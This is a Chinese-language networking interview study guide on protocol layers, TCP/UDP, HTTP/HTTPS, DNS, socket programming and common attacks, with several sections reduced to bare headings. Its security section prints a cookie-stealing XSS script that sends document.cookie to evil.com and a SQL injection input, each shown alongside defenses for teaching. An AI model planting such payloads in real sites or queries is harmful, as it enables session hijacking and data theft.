计算机网络面试指南

目录

1. 网络分层模型

2. TCP 协议详解

3. UDP 协议

4. IP 协议与网络层

5. HTTP/HTTPS

6. DNS 域名解析

7. 网络编程

8. 网络安全

9. 高频面试题与答案

一、网络分层模型

1.1 OSI 七层模型 vs TCP/IP 四层模型

OSI 七层模型              TCP/IP 四层模型           常见协议
+------------------+      +------------------+
|    应用层        |      |                  |      HTTP, FTP, SMTP, DNS
+------------------+      |    应用层        |
|    表示层        |      |                  |      SSL/TLS, JPEG
+------------------+      +------------------+
|    会话层        |
+------------------+      +------------------+
|    传输层        |      |    传输层        |      TCP, UDP
+------------------+      +------------------+
|    网络层        |      |    网络层        |      IP, ICMP, ARP
+------------------+      +------------------+
|   数据链路层     |      |                  |      Ethernet, PPP
+------------------+      |   网络接口层     |
|    物理层        |      |                  |      物理介质
+------------------+      +------------------+

1.2 数据封装过程

应用层数据
    ↓ + TCP/UDP 头
传输层段 (Segment)
    ↓ + IP 头
网络层包 (Packet)
    ↓ + 帧头 + 帧尾
数据链路层帧 (Frame)
    ↓
物理层比特流

1.3 各层核心功能

二、TCP 协议详解

2.1 TCP 头部结构

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Acknowledgment Number                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Data |           |U|A|P|R|S|F|                               |
| Offset| Reserved  |R|C|S|S|Y|I|            Window             |
|       |           |G|K|H|T|N|N|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Checksum            |         Urgent Pointer        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

2.2 三次握手（重点）

客户端                                          服务端
  |                                               |
  |  -------- SYN, Seq=x ---------------------->  |
  |           (SYN_SENT)                    (LISTEN → SYN_RCVD)
  |                                               |
  |  <------ SYN+ACK, Seq=y, Ack=x+1 ----------  |
  |                                               |
  |  -------- ACK, Seq=x+1, Ack=y+1 ---------->  |
  |        (ESTABLISHED)                   (ESTABLISHED)
  |                                               |

1. 防止历史连接：避免旧的 SYN 报文建立错误连接

2. 同步初始序列号：双方交换并确认 ISN

2.3 四次挥手（重点）

客户端                                          服务端
  |                                               |
  |  -------- FIN, Seq=u ---------------------->  |
  |         (FIN_WAIT_1)                    (CLOSE_WAIT)
  |                                               |
  |  <-------- ACK, Ack=u+1 -------------------  |
  |         (FIN_WAIT_2)                          |
  |                                               |
  |  <-------- FIN, Seq=v --------------------   |
  |         (TIME_WAIT)                    (LAST_ACK)
  |                                               |
  |  -------- ACK, Ack=v+1 -------------------->  |
  |                                         (CLOSED)
  |  等待 2MSL                                    |
  |         (CLOSED)                              |

2.4 可靠传输机制

序列号与确认应答

发送方                                    接收方
  |  -------- Seq=1, Data(100B) ------->  |
  |  <-------- ACK=101 -----------------  |  期望下一个是 101
  |  -------- Seq=101, Data(100B) ----->  |
  |  <-------- ACK=201 -----------------  |

超时重传

发送方                                    接收方
  |  -------- Seq=1 ------------------>   |
  |                   (丢失)              |
  |  超时                                 |
  |  -------- Seq=1 (重传) ----------->   |
  |  <-------- ACK=101 ---------------   |

快速重传

发送方                                    接收方
  |  -------- Seq=1 ------------------>   |
  |  -------- Seq=2 ------------------>   |  (丢失)
  |  -------- Seq=3 ------------------>   |
  |  <-------- ACK=2 (重复) -----------   |
  |  -------- Seq=4 ------------------>   |
  |  <-------- ACK=2 (重复) -----------   |
  |  -------- Seq=5 ------------------>   |
  |  <-------- ACK=2 (重复) -----------   |
  |  收到 3 个重复 ACK，立即重传 Seq=2    |

2.5 流量控制

发送窗口
+---+---+---+---+---+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |10 |
+---+---+---+---+---+---+---+---+---+---+
|已确认 |  已发送待确认  |   可发送   |不可发送|
        ↑               ↑            ↑
      base           nextseq    base+window

2.6 拥塞控制（重点）

cwnd (拥塞窗口)
  |
  |                    * 快恢复
  |                   /
  |         *--------*
  |        /          \
  |       /            * 超时，重新慢启动
  |      /              \
  |     / 拥塞避免       \
  |    /                  \
  |   /                    \
  |  * ssthresh             \
  | /                        \
  |/ 慢启动                   \
  +------------------------------> 时间

2.7 TCP 粘包/拆包

+--------+----------------+
| Length |     Data       |
| 4 bytes|   N bytes      |
+--------+----------------+

2.8 TIME_WAIT 过多问题

# 1. 开启端口复用
sysctl -w net.ipv4.tcp_tw_reuse=1

# 2. 缩短 TIME_WAIT 时间（不推荐）
sysctl -w net.ipv4.tcp_fin_timeout=30

# 3. 增加可用端口范围
sysctl -w net.ipv4.ip_local_port_range="1024 65535"

# 4. 使用连接池，减少短连接

int reuse = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse));

2.9 CLOSE_WAIT 过多原因

客户端发送 FIN → 服务端进入 CLOSE_WAIT
                    ↓
            服务端应该调用 close() 发送 FIN
            但如果没有调用，就一直停在 CLOSE_WAIT

netstat -an | grep CLOSE_WAIT | wc -l
lsof -i -P | grep CLOSE_WAIT

2.10 超时重传与快速重传

发送方                    接收方
  | ---Seq=1--->  (丢失)    |
  |                         |
  | 超时（RTO）              |
  | ---Seq=1---> (重传)     |
  | <---ACK=2---            |

SRTT = (1-α) × SRTT + α × RTT
RTO = SRTT + 4 × RTTVAR

2.11 TCP 半连接队列与全连接队列

客户端                      服务端
  |                           |
  | ---SYN--->                |
  |              半连接队列 ← 加入
  | <---SYN+ACK---            |
  | ---ACK--->                |
  |              全连接队列 ← 移入
  |              accept() 取出

# 全连接队列大小
ss -lnt | grep :80

# 溢出统计
netstat -s | grep overflow

2.12 TCP Keepalive

int keepalive = 1;
int keepidle = 60;    // 空闲 60s 后开始探测
int keepintvl = 10;   // 探测间隔 10s
int keepcnt = 3;      // 探测 3 次无响应则断开

setsockopt(sockfd, SOL_SOCKET, SO_KEEPALIVE, &keepalive, sizeof(keepalive));
setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPIDLE, &keepidle, sizeof(keepidle));
setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPINTVL, &keepintvl, sizeof(keepintvl));
setsockopt(sockfd, IPPROTO_TCP, TCP_KEEPCNT, &keepcnt, sizeof(keepcnt));

三、UDP 协议

3.1 UDP 特点

3.2 UDP 头部

 0      7 8     15 16    23 24    31
+--------+--------+--------+--------+
|     Source      |   Destination   |
|      Port       |      Port       |
+--------+--------+--------+--------+
|     Length      |    Checksum     |
+--------+--------+--------+--------+
|                                   |
|              Data                 |
|                                   |
+-----------------------------------+

3.3 UDP 应用场景

• DNS 查询：快速、简单

• 视频/音频流：实时性要求高，允许丢包

• 游戏：低延迟

• DHCP：广播获取 IP

3.4 如何实现可靠 UDP？

3.5 QUIC 协议

TCP + TLS 握手：3 RTT
QUIC 首次连接：1 RTT
QUIC 恢复连接：0 RTT

四、IP 协议与网络层

4.1 IPv4 地址

32 位地址，点分十进制表示
192.168.1.1 = 11000000.10101000.00000001.00000001

4.2 子网划分与 CIDR

192.168.1.0/24
    ↓
网络部分：192.168.1（24位）
主机部分：0-255（8位）
子网掩码：255.255.255.0

4.3 NAT 网络地址转换

内网主机           NAT 设备              外网服务器
192.168.1.100     公网 IP: 1.2.3.4      8.8.8.8
    |                  |                    |
    | src: 192.168.1.100:5000               |
    | ----------------> |                   |
    |                   | src: 1.2.3.4:10000|
    |                   | ----------------> |
    |                   |                   |
    |                   | <---------------- |
    | <---------------- |                   |

4.4 ARP 协议

1. 主机 A 广播 ARP 请求："谁是 192.168.1.2？"
2. 主机 B 单播回复："我是 192.168.1.2，MAC 是 xx:xx:xx:xx:xx:xx"
3. 主机 A 缓存映射关系

4.5 ICMP 协议

ping 8.8.8.8       # 发送 ICMP Echo Request
traceroute 8.8.8.8 # 利用 TTL 递增探测路径

4.6 IPv4 vs IPv6

4.7 IP 分片与重组

五、HTTP/HTTPS

5.1 HTTP 请求方法

5.2 GET vs POST

5.3 HTTP 状态码

5.4 HTTP 版本演进

HTTP/1.1: 请求1 → 响应1 → 请求2 → 响应2（队头阻塞）
HTTP/2:   请求1 ↘
          请求2 → 多路复用 → 响应1, 响应2（并行）
          请求3 ↗

5.5 HTTPS 原理（重点）

TLS 握手过程

客户端                                          服务端
  |                                               |
  |  -------- ClientHello ----------------------> |
  |           (支持的加密套件、随机数 Client Random)
  |                                               |
  |  <------- ServerHello ----------------------- |
  |           (选择的加密套件、随机数 Server Random)
  |  <------- Certificate ------------------------ |
  |           (服务器证书)
  |  <------- ServerHelloDone ------------------- |
  |                                               |
  |  客户端验证证书                                |
  |  生成预主密钥 Pre-Master Secret               |
  |                                               |
  |  -------- ClientKeyExchange ---------------> |
  |           (用服务器公钥加密的预主密钥)
  |  -------- ChangeCipherSpec ----------------> |
  |  -------- Finished ------------------------> |
  |                                               |
  |  <------- ChangeCipherSpec ------------------ |
  |  <------- Finished -------------------------- |
  |                                               |
  |  ========= 加密通信 ========================= |

Master Secret = PRF(Pre-Master Secret, Client Random, Server Random)

对称加密 vs 非对称加密

5.6 HTTP 缓存

强缓存

Cache-Control: max-age=3600    # 缓存 1 小时
Expires: Thu, 01 Dec 2024 16:00:00 GMT  # 过期时间

• 未过期直接使用缓存，不发请求

• Cache-Control 优先级高于 Expires

协商缓存

# 请求
If-Modified-Since: Thu, 01 Dec 2024 00:00:00 GMT
If-None-Match: "abc123"

# 响应
Last-Modified: Thu, 01 Dec 2024 00:00:00 GMT
ETag: "abc123"

• 发送请求验证资源是否变化

• 未变化返回 304，使用缓存

• ETag 优先级高于 Last-Modified

5.7 Cookie 与 Session

5.8 301 vs 302 重定向

5.9 WebSocket

客户端                                服务端
  |  GET /chat HTTP/1.1               |
  |  Upgrade: websocket               |
  |  Connection: Upgrade              |
  |  -------------------------------->|
  |                                   |
  |  HTTP/1.1 101 Switching Protocols |
  |  Upgrade: websocket               |
  |  <--------------------------------|
  |                                   |
  |  <======= 双向通信 =======>       |

5.10 CDN 原理

用户 → DNS → CDN 调度 → 最近边缘节点 → 缓存命中返回
                              ↓ 未命中
                          回源到源站

5.11 正向代理 vs 反向代理

5.12 HTTP 请求头与响应头

5.13 RESTful API 设计

5.14 HTTPS 中间人攻击

客户端 ←→ 攻击者 ←→ 服务器
       伪造证书    正常通信

5.15 浏览器缓存机制

请求资源
    ↓
强缓存检查（Cache-Control/Expires）
    ↓ 未过期 → 直接使用缓存（200 from cache）
    ↓ 过期
协商缓存检查（ETag/Last-Modified）
    ↓ 未修改 → 304 Not Modified
    ↓ 已修改 → 200 + 新资源

六、DNS 域名解析

6.1 DNS 解析过程

1. 浏览器缓存
2. 操作系统缓存 (hosts 文件)
3. 本地 DNS 服务器
4. 根域名服务器 (.)
5. 顶级域名服务器 (.com)
6. 权威域名服务器 (example.com)

客户端           本地DNS          根DNS          .com DNS       example.com DNS
  |                |               |               |               |
  | www.example.com|               |               |               |
  | -------------> |               |               |               |
  |                | 查询根服务器   |               |               |
  |                | ------------> |               |               |
  |                | <------------ |               |               |
  |                | (.com 服务器地址)              |               |
  |                |               |               |               |
  |                | 查询 .com 服务器               |               |
  |                | ----------------------------> |               |
  |                | <---------------------------- |               |
  |                | (example.com 服务器地址)       |               |
  |                |               |               |               |
  |                | 查询权威服务器                                 |
  |                | ---------------------------------------------> |
  |                | <--------------------------------------------- |
  |                | (IP 地址)                                      |
  | <------------- |               |               |               |
  | (IP 地址)      |               |               |               |

6.2 DNS 记录类型

6.3 DNS 缓存与 TTL

6.4 DNS 劫持与防护

七、网络编程

7.1 Socket 编程流程

// 1. 创建 socket
int sockfd = socket(AF_INET, SOCK_STREAM, 0);

// 2. 绑定地址
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(8080);
addr.sin_addr.s_addr = INADDR_ANY;
bind(sockfd, (struct sockaddr*)&addr, sizeof(addr));

// 3. 监听
listen(sockfd, 128);

// 4. 接受连接
int clientfd = accept(sockfd, NULL, NULL);

// 5. 收发数据
recv(clientfd, buf, sizeof(buf), 0);
send(clientfd, msg, strlen(msg), 0);

// 6. 关闭
close(clientfd);
close(sockfd);

int sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));
send(sockfd, msg, strlen(msg), 0);
recv(sockfd, buf, sizeof(buf), 0);
close(sockfd);

7.2 IO 多路复用（重点）

select

fd_set readfds;
FD_ZERO(&readfds);
FD_SET(sockfd, &readfds);

select(maxfd + 1, &readfds, NULL, NULL, NULL);

if (FD_ISSET(sockfd, &readfds)) {
    // sockfd 可读
}

poll

struct pollfd fds[1024];
fds[0].fd = sockfd;
fds[0].events = POLLIN;

poll(fds, nfds, -1);

if (fds[0].revents & POLLIN) {
    // sockfd 可读
}

epoll（Linux 高性能）

// 创建 epoll 实例
int epfd = epoll_create(1);

// 添加监听
struct epoll_event ev;
ev.events = EPOLLIN;
ev.data.fd = sockfd;
epoll_ctl(epfd, EPOLL_CTL_ADD, sockfd, &ev);

// 等待事件
struct epoll_event events[1024];
int n = epoll_wait(epfd, events, 1024, -1);

for (int i = 0; i < n; i++) {
    if (events[i].data.fd == sockfd) {
        // 处理事件
    }
}

三者对比

7.3 IO 模型

7.4 Reactor 模式

                    +-------------------+
                    |    Main Reactor   |
                    |  (accept 连接)    |
                    +--------+----------+
                             |
              +--------------+--------------+
              |              |              |
     +--------v----+  +------v------+  +----v--------+
     | Sub Reactor |  | Sub Reactor |  | Sub Reactor |
     | (处理 IO)   |  | (处理 IO)   |  | (处理 IO)   |
     +-------------+  +-------------+  +-------------+

7.5 Proactor 模式

应用程序                                操作系统
    |                                      |
    |  发起异步读操作                       |
    | ---------------------------------->  |
    |                                      |
    |  （应用程序可以做其他事）              |
    |                                      |
    |  <-- 操作完成，回调通知 ------------- |
    |                                      |
    |  处理数据                            |

7.6 惊群效应

7.7 C10K 问题

八、网络安全

8.1 常见攻击

SYN Flood

• 发送大量 SYN 不回复 ACK

• 耗尽服务器半连接队列

• 防御：SYN Cookie、限制半连接数

DDoS

• 分布式拒绝服务攻击

• 防御：CDN、流量清洗、限流

中间人攻击

• 攻击者位于通信双方之间

• 防御：HTTPS、证书验证

XSS（跨站脚本攻击）

<!-- 恶意脚本注入 -->
<script>document.location='http://evil.com?cookie='+document.cookie</script>

• 防御：输入过滤、输出编码、CSP

CSRF（跨站请求伪造）

• 利用用户已登录状态发起恶意请求

• 防御：CSRF Token、SameSite Cookie

SQL 注入

-- 输入: ' OR '1'='1
SELECT * FROM users WHERE username='' OR '1'='1'

• 防御：参数化查询、输入验证

8.2 CORS 跨域

# 服务端响应头
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true

8.3 负载均衡算法

8.4 数据封装与解封装过程

发送端：
应用层数据
    ↓ 添加 TCP/UDP 头
传输层段（Segment）
    ↓ 添加 IP 头
网络层包（Packet）
    ↓ 添加帧头 + 帧尾（MAC 地址 + CRC）
数据链路层帧（Frame）
    ↓ 转换为比特流
物理层信号

接收端：逆向过程

九、高频面试题与答案

Q1: 输入 URL 到页面显示的全过程？

1. URL 解析：解析协议、域名、端口、路径

2. DNS 解析：域名 → IP 地址

3. 建立 TCP 连接：三次握手

4. TLS 握手（HTTPS）：协商加密参数

5. 发送 HTTP 请求

6. 服务器处理请求：返回响应

7. 浏览器解析渲染：
• 解析 HTML → DOM 树
• 解析 CSS → CSSOM 树
• 合成渲染树
• 布局、绘制

8. 断开连接：四次挥手

Q2: TCP 三次握手过程？为什么是三次？

Q3: TCP 四次挥手过程？为什么是四次？

Q4: TCP 如何保证可靠传输？

1. 序列号和确认应答：每个字节编号，接收方确认

2. 超时重传：未收到 ACK 则重传

3. 快速重传：3 个重复 ACK 立即重传

4. 流量控制：滑动窗口，防止发送过快

5. 拥塞控制：慢启动、拥塞避免、快恢复

6. 校验和：检测数据损坏

Q5: TCP 和 UDP 的区别？

Q6: GET 和 POST 的区别？

Q7: HTTPS 的加密过程？

1. TLS 握手：
• 客户端发送支持的加密套件
• 服务端选择套件，发送证书
• 客户端验证证书
• 客户端生成预主密钥，用公钥加密发送
• 双方计算会话密钥

2. 混合加密：
• 非对称加密交换密钥
• 对称加密传输数据

Q8: select、poll、epoll 的区别？

Q9: 什么是 TIME_WAIT？为什么需要？

• 主动关闭方发送最后一个 ACK 后进入的状态

• 持续 2MSL（约 60 秒）

Q10: 什么是拥塞控制？有哪些算法？

最后更新：2026-01-09